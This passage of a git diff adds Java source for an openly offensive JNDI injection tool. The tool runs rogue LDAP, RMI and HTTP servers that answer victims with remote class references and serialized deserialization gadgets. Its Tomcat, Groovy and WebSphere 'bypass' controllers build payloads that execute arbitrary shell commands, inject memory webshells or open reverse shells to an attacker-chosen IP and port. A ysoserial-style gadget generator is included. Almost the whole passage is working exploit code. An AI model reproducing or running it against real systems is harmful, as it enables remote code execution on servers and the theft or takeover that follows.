}
}
}
}
private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception {
int method = ois.readInt(); // method
ois.readLong(); // hash
if (method != 2) { // lookup
return false;
}
String object = (String) ois.readObject();
System.out.println(ansi().render("@|green [+]|@ RMI服务器 >> RMI 查询" + object + " " + method));
out.writeByte(TransportConstants.Return); // transport op
try (ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl)) {
oos.writeByte(TransportConstants.NormalReturn);
new UID().write(oos);
//反射调用的类名
ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
if (object.startsWith("Local")) {
System.out.println(ansi().render("@|green [+]|@ RMI 服务器 >> 发送本地类加载引用"));
System.out.println("-------------------------------------- RMI Local Refenrence Links --------------------------------------");
String[] cmd = object.split(" ");
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(cmd[1]));
Reflections.setFieldValue(rw, "wrappee", EchoClass);
} else if (object.startsWith("E-")) {
String object1 = object.substring(object.indexOf('-') + 1);
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(object1));
String className = EchoClass.getName();
String className1 = className.replaceAll("\\.", "/");
String turl = "http://" + ip + ":" + httpPort + "/" + className1 + ".class";
String classPath = className + ".class";
System.out.println(ansi().render("@|green [+]|@ RMI 服务器 >> 向目标发送 stub >> %s", turl));
System.out.println("-------------------------------------- RMI Remote Refenrence Links --------------------------------------");
Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", classPath, turl));
} else if (object.startsWith("M-")) {
//M-EX-MS-RFMSFromThreadF-bx#params
String object1 = object.substring(object.indexOf('-') + 1);
String[] parts = object1.split("#");
String[] parts1 = parts[1].split(" ");
InjShell.init(parts1);
String className = Gadgets.createClassB(parts[0]);
String className1 = className.replaceAll("\\.", "/");
String turl = "http://" + ip + ":" + httpPort + "/" + className1 + ".class";
String className2 = className1.substring(className1.lastIndexOf('/') + 1);
System.out.println(ansi().render("@|green [+]|@ RMI 服务器 >> 向目标发送 stub >> %s", turl));
System.out.println("-------------------------------------- RMI Remote Refenrence Links --------------------------------------");
Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", className2, turl));
}
Field refF = RemoteObject.class.getDeclaredField("ref");
refF.setAccessible(true);
refF.set(rw, new UnicastServerRef(12345));
oos.writeObject(rw);
oos.flush();
out.flush();
}
return true;
}
static final class MarshalOutputStream extends ObjectOutputStream {
private final URL sendUrl;
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
super(out);
this.sendUrl = u;
}
@Override
protected void annotateClass(Class<?> cl) throws IOException {
if (this.sendUrl != null) {
writeObject(this.sendUrl.toString());
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
writeObject(null);
} else {
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
StringBuilder cb = new StringBuilder();
for (URL u : us) {
cb.append(u.toString());
}
writeObject(cb.toString());
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected void annotateProxyClass(Class<?> cl) throws IOException {
annotateClass(cl);
}
}
}
+32
View File
@@ -0,0 +1,32 @@
package com.qi4l.jndi;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.jndi.gadgets.ObjectPayload;
import org.apache.commons.collections4.map.CaseInsensitiveMap;
import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
public class Starter {
public static CaseInsensitiveMap<String,Class<? extends ObjectPayload>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap();
static {
for (Class<? extends ObjectPayload> clazz : ObjectPayload.Utils.getPayloadClasses()) {
caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz);
}
}
public static boolean JYsoMode = false;
public static void main(String[] args) throws Exception {
if (args.length > 0 && args[0].equals("-j")) {
Config.applyCmdArgs(args);
LdapServer.start();
HTTPServer.start();
RMIServer.start();
}
if (args.length > 0 && args[0].equals("-y")) {
JYsoMode = true;
ysoserial(args);
}
}
}
@@ -0,0 +1,129 @@
package com.qi4l.jndi.controllers;
import com.qi4l.jndi.enumtypes.GadgetType;
import com.qi4l.jndi.exceptions.IncorrectParamsException;
import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.InjShell;
import com.qi4l.jndi.gadgets.utils.Util;
import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.jndi.template.CommandTemplate;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import java.net.URL;
import java.util.Base64;
import static org.fusesource.jansi.Ansi.ansi;
/**
* 本地工厂类加载
*/
@LdapMapping(uri = {"/basic"})
public class BasicController implements LdapController {
private static String payloadType;
//最后的反斜杠不能少
private final String codebase = Config.codeBase;
private String[] params;
private GadgetType gadgetType;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
System.out.println(ansi().render("@|green [+] Sending LDAP ResourceRef result for|@" + base + " @|green with basic remote reference payload|@"));
Entry e = new Entry(base);
String className = "";
if (payloadType.contains("E-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
className = EchoClass.getName();
}
if (payloadType.contains("M-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
InjShell.init(params);
className = Gadgets.createClassB(ClassName1);
}
if (payloadType.contains("command")) {
CommandTemplate commandTemplate = new CommandTemplate(params[0]);
commandTemplate.cache();
className = commandTemplate.getClassName();
}
String className1 = className.replaceAll("\\.", "/");
URL turl = new URL(new URL(this.codebase), className1 + ".class");
System.out.println(ansi().render("@|green [+] Send LDAP reference result for |@" + base + " @|green redirecting to |@" + turl));
System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------");
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaCodeBase", this.codebase);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", className);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
er.printStackTrace();
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(ansi().render("@|green [+] PaylaodType : |@" + payloadType));
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(ansi().render("@|green [+] Command |@" + cmd));
params = new String[]{cmd};
}
if (gadgetType == GadgetType.shell) {
String cmd1 = Util.getCmdFromBase(base);
byte[] decodedBytes = Base64.getDecoder().decode(cmd1);
String cmd = new String(decodedBytes);
String[] cmdArray = cmd.split(" ");
System.out.println(ansi().render("@|green [+] Command : |@" + cmd));
params = cmdArray;
}
if (gadgetType == GadgetType.msf) {
String[] results1 = Util.getIPAndPortFromBase(base);
Config.rhost = results1[0];
Config.rport = results1[1];
System.out.println("[+] RemotHost: " + results1[0]);
System.out.println("[+] RemotPort: " + results1[1]);
params = results1;
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
}
@@ -0,0 +1,81 @@
package com.qi4l.jndi.controllers;
import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.exceptions.IncorrectParamsException;
import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.jndi.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import static org.fusesource.jansi.Ansi.ansi;
/*
* Requires:
* - Tomcat and Groovy in classpath
*
* @author https://twitter.com/orange_8361 and https://github.com/welk1n
*
* Groovy 语法参考:
* - https://xz.aliyun.com/t/8231#toc-7
* - https://my.oschina.net/jjyuangu/blog/1815945
* - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
*/
@LdapMapping(uri = {"/groovybypass"})
public class GroovyBypassController implements LdapController {
private PayloadType type;
private String[] params;
private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
" ['cmd','/C', '${cmd}'].execute();\n" +
" } else {\n" +
" ['/bin/sh','-c', '${cmd}'].execute();\n" +
" }";
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@" + base + " @|MAGENTA with groovy.lang.GroovyShell payload|@"));
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0])));
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
try {
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
String payloadType = base.substring(firstIndex + 1, secondIndex);
if (payloadType.equalsIgnoreCase("command")) {
type = PayloadType.valueOf("command");
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type));
} else {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType);
}
String cmd = Util.getCmdFromBase(base);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Command >> |@" + cmd));
params = new String[]{cmd};
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
}
@@ -0,0 +1,13 @@
package com.qi4l.jndi.controllers;
import com.qi4l.jndi.exceptions.IncorrectParamsException;
import com.qi4l.jndi.exceptions.UnSupportedActionTypeException;
import com.qi4l.jndi.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
public interface LdapController {
void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;
void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException;
}
@@ -0,0 +1,12 @@
package com.qi4l.jndi.controllers;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
public @interface LdapMapping {
String[] uri();
}
@@ -0,0 +1,19 @@
package com.qi4l.jndi.controllers;
import javax.naming.RefAddr;
import java.util.Properties;
//this is a stub class required by WebSphere2 ldap handler
public class PropertiesRefAddr extends RefAddr {
private static final long serialVersionUID = 288055886942232156L;
private Properties props;
public PropertiesRefAddr(String addrType, Properties props) {
super(addrType);
this.props = props;
}
public Object getContent() {
return this.props;
}
}
@@ -0,0 +1,118 @@
package com.qi4l.jndi.controllers;
import com.qi4l.jndi.enumtypes.GadgetType;
import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.exceptions.IncorrectParamsException;
import com.qi4l.jndi.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.jndi.gadgets.ObjectPayload;
import com.qi4l.jndi.gadgets.utils.Serializer;
import com.qi4l.jndi.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.cli.CommandLine;
import java.io.ByteArrayOutputStream;
import java.util.Base64;
import static com.qi4l.jndi.gadgets.Config.Config.BCEL1;
import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/deserialization"})
public class SerializedDataController implements LdapController {
public static String gadgetType;
public static String cmd11;
public static GadgetType gadgetType1;
public static CommandLine cmdLine;
private PayloadType payloadType;
private String params;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println(ansi().render("@|green [+] Send LDAP result for|@" + base + " @|green with javaSerializedData attribute|@"));
System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------");
Entry e = new Entry(base);
byte[] bytes;
try {
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType);
ObjectPayload payload = payloadClass.newInstance();
Object object = payload.getObject(params);
if (SerializedDataController.gadgetType.equals("JRE8u20")) {
bytes = (byte[]) object;
} else {
ByteArrayOutputStream out = new ByteArrayOutputStream();
bytes = Serializer.serialize(object, out);
}
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", bytes);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
er.printStackTrace();
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException {
try {
base = base.replace('\\', '/');
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
try {
gadgetType = base.substring(firstIndex + 1, secondIndex);
System.out.println(ansi().render("@|green [+] GaddgetType : |@" + gadgetType));
} catch (IllegalArgumentException e) {
throw new UnSupportedGadgetTypeException("UnSupportGaddgetType >> " + base.substring(firstIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
int fourIndex = base.indexOf("/", thirdIndex + 1);
String Ty1 = base.substring(thirdIndex + 1, fourIndex);
gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase());
// 若第三个斜杠不存在,则把其设置成为字符串的长度
if (thirdIndex < 0) thirdIndex = base.length();
try {
// 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型
String Ty3 = base.substring(secondIndex + 1, thirdIndex);
payloadType = PayloadType.valueOf(Ty3.toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
if (payloadType == PayloadType.sethttp) {
params = BCEL1;
System.out.println(ansi().render("@|green [+] command|@" + BCEL1));
}
if (payloadType == PayloadType.command) {
if (gadgetType1 == GadgetType.base64) {
cmd11 = Util.getCmdFromBase(base);
}
if (gadgetType1 == GadgetType.base64Two) {
String encodedString = Util.getCmdFromBase(base);
byte[] decodedBytes = Base64.getDecoder().decode(encodedString);
String T1 = new String(decodedBytes);
byte[] decodedBytes1 = Base64.getDecoder().decode(T1);
cmd11 = new String(decodedBytes1);
}
params = cmd11;
System.out.println(ansi().render("@|green [+] command|@" + cmd11));
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
if (e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
}
@@ -0,0 +1,166 @@
package com.qi4l.jndi.controllers;
import com.qi4l.jndi.enumtypes.GadgetType;
import com.qi4l.jndi.exceptions.IncorrectParamsException;
import com.qi4l.jndi.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.InjShell;
import com.qi4l.jndi.gadgets.utils.Util;
import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.cli.CommandLine;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.io.IOException;
import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/tomcatbypass"})
public class TomcatBypassController implements LdapController {
public static CommandLine cmdLine;
private String payloadType;
private String[] params;
private GadgetType gadgetType;
/**
* 发送LDAP ResourceRef结果和重定向URL
*
* @param result InMemoryInterceptedSearchResult类型的结果
* @param base 基本远程参考负载字符串
* @throws Exception 异常
*/
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
System.out.println(ansi().render("@|green [+] Sending LDAP ResourceRef result for|@" + base + " @|green with javax.el.ELProcessor payload|@"));
System.out.println("-------------------------------------- JNDI Local Refenrence Links --------------------------------------");
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String");
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
TomcatBypassHelper helper = new TomcatBypassHelper();
String code = null;
if (payloadType.contains("E-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
code = InjShell.injectClass(EchoClass);
}
if (payloadType.contains("M-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
InjShell.init(params);
Class<?> classQ = Gadgets.createClassT(ClassName1);
code = InjShell.injectClass(classQ);
}
if (payloadType.contains("command")) {
code = helper.getExecCode(params[0]);
}
String payloadTemplate = "{" +
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"{replacement}\")" +
"}";
String finalPayload = payloadTemplate.replace("{replacement}", code);
ref.add(new StringRefAddr("x", finalPayload));
e.addAttribute("javaSerializedData", Util.serialize(ref));
// 将条目发送至结果中,并将结果设置为成功
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
er.printStackTrace();
}
}
/**
* 处理传入的参数 base
*
* @param base 传入的参数
* @throws UnSupportedPayloadTypeException 不支持的载荷类型异常
* @throws IncorrectParamsException 错误的参数异常
* @throws UnSupportedGadgetTypeException 不支持的 Gadget 类型异常
*/
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(ansi().render("@|green [+] PaylaodType : |@" + payloadType));
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(ansi().render("@|green [+] Command : |@" + cmd));
params = new String[]{cmd};
}
if (gadgetType == GadgetType.shell) {
String cmd1 = Util.getCmdFromBase(base);
byte[] decodedBytes = Util.base64Decode(cmd1);
String cmd = new String(decodedBytes);
String[] cmdArray = cmd.split(" ");
System.out.println(ansi().render("@|green [+] Command : |@" + cmd));
params = cmdArray;
}
if (gadgetType == GadgetType.msf) {
String[] results1 = Util.getIPAndPortFromBase(base);
Config.rhost = results1[0];
Config.rport = results1[1];
System.out.println("[+] RemotHost: " + results1[0]);
System.out.println("[+] RemotPort: " + results1[1]);
params = results1;
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
private class TomcatBypassHelper {
public String getExecCode(String cmd) throws IOException {
String code = "var strs=new Array(3);\n" +
" if(java.io.File.separator.equals('/')){\n" +
" strs[0]='/bin/bash';\n" +
" strs[1]='-c';\n" +
" strs[2]='" + cmd + "';\n" +
" }else{\n" +
" strs[0]='cmd';\n" +
" strs[1]='/C';\n" +
" strs[2]='" + cmd + "';\n" +
" }\n" +
" java.lang.Runtime.getRuntime().exec(strs);";
return code;
}
}
}
@@ -0,0 +1,136 @@
package com.qi4l.jndi.controllers;
import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.enumtypes.WebsphereActionType;
import com.qi4l.jndi.exceptions.IncorrectParamsException;
import com.qi4l.jndi.exceptions.UnSupportedActionTypeException;
import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.jndi.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.util.Properties;
import static org.fusesource.jansi.Ansi.ansi;
/*
* Requires:
* - websphere v6-9 libraries in the classpath
*/
@LdapMapping(uri = {"/webspherebypass"})
public class WebsphereBypassController implements LdapController {
private WebsphereActionType actionType;
private String localJarPath;
private String injectUrl;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@" + base));
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
Reference ref;
if (actionType == WebsphereActionType.rce) {
//prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory
ref = new Reference("ExportObject",
"com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null);
Properties refProps = new Properties();
refProps.put("com.ibm.ws.client.classpath", localJarPath);
refProps.put("com.ibm.ws.client.classname", "xExportObject");
// ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddrropertiesRefAddr("JMSProperties", refProps));
} else {
//prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory
ref = new Reference("ExploitObject",
"com.ibm.ws.webservices.engine.client.ServiceFactory", null);
ref.add(new StringRefAddr("WSDL location", injectUrl));
ref.add(new StringRefAddr("service namespace", "xxx"));
ref.add(new StringRefAddr("service local part", "yyy"));
}
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedActionTypeException {
try {
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
actionType = WebsphereActionType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA ActionType >> |@" + actionType));
} catch (IllegalArgumentException e) {
throw new UnSupportedActionTypeException("UnSupportedActionType >> " + base.substring(firstIndex + 1, secondIndex));
}
switch (actionType) {
case list:
String file = base.substring(base.lastIndexOf("=") + 1);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Read File/List Directory >> |@" + file));
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/list.wsdl?file=" + file;
break;
case rce:
String localJarFile = base.substring(base.lastIndexOf("=") + 1);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Local jar path >> |@" + localJarFile));
localJarPath = localJarFile;
break;
case upload:
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex < 0) thirdIndex = base.length();
PayloadType payloadType;
try {
payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
// webspherebypass 只支持这 4 种类型的 PayloadType
if (payloadType != PayloadType.command && payloadType != PayloadType.dnslog
&& payloadType != PayloadType.reverseshell && payloadType != PayloadType.webspherememshell) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType);
}
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA PayloadType >> |@" + payloadType));
switch (payloadType) {
case command:
String cmd = Util.getCmdFromBase(base);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Command >> |@" + cmd));
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=command&cmd=" + cmd;
break;
case dnslog:
String url = base.substring(base.lastIndexOf("/") + 1);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA URL >> |@" + url));
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=dnslog&url=" + url;
break;
case reverseshell:
String[] results = Util.getIPAndPortFromBase(base);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA IP >> |@" + results[0]));
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Port >> |@" + results[1]));
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=reverseshell&ip=" + results[0] + "&port=" + results[1];
break;
case webspherememshell:
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=webspherememshell";
break;
}
break;
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
if (e instanceof UnSupportedActionTypeException) throw (UnSupportedActionTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
@@ -0,0 +1,39 @@
package com.qi4l.jndi.controllers.utils;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class AESUtils {
private static final String ALGORITHM = "AES";
private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
private static final int KEY_SIZE = 16;
public static String decrypt(String ciphertext, String key) throws Exception {
byte[] combinedBytes = Base64.getDecoder().decode(ciphertext);
byte[] ivBytes = new byte[KEY_SIZE];
byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE];
System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE);
System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length);
byte[] keyBytes = getKeyBytes(key);
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM);
IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec);
byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
return new String(decryptedBytes, StandardCharsets.UTF_8);
}
private static byte[] getKeyBytes(String key) {
byte[] keyBytes = new byte[KEY_SIZE];
byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8);
System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length));
return keyBytes;
}
}
@@ -0,0 +1,240 @@
package com.qi4l.jndi.controllers;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.jndi.gadgets.ObjectPayload;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Serializer;
import com.qi4l.jndi.gadgets.utils.StringUtil;
import com.qi4l.jndi.gadgets.utils.dirty.DirtyDataWrapper;
import org.apache.commons.cli.*;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.util.*;
import static com.qi4l.jndi.gadgets.utils.HexUtils.generatePassword;
import static com.qi4l.jndi.gadgets.utils.StringUtil.isFromExploit;
public class ysoserial {
public static CommandLine cmdLine;
public static Object PAYLOAD = null;
public static void ysoserial(String[] args) {
final Options options = getOptions();
CommandLineParser parser = new DefaultParser();
if (args.length == 1) {
printUsage(options);
System.exit(1);
}
try {
cmdLine = parser.parse(options, args);
} catch (Exception e) {
System.out.println("[*] Parameter input error, please use -h for more information");
printUsage(options);
System.exit(1);
}
if (cmdLine.hasOption("inherit")) {
Config.IS_INHERIT_ABSTRACT_TRANSLET = true;
}
if (cmdLine.hasOption("obscure")) {
Config.IS_OBSCURE = true;
}
if (cmdLine.hasOption("cmd-header")) {
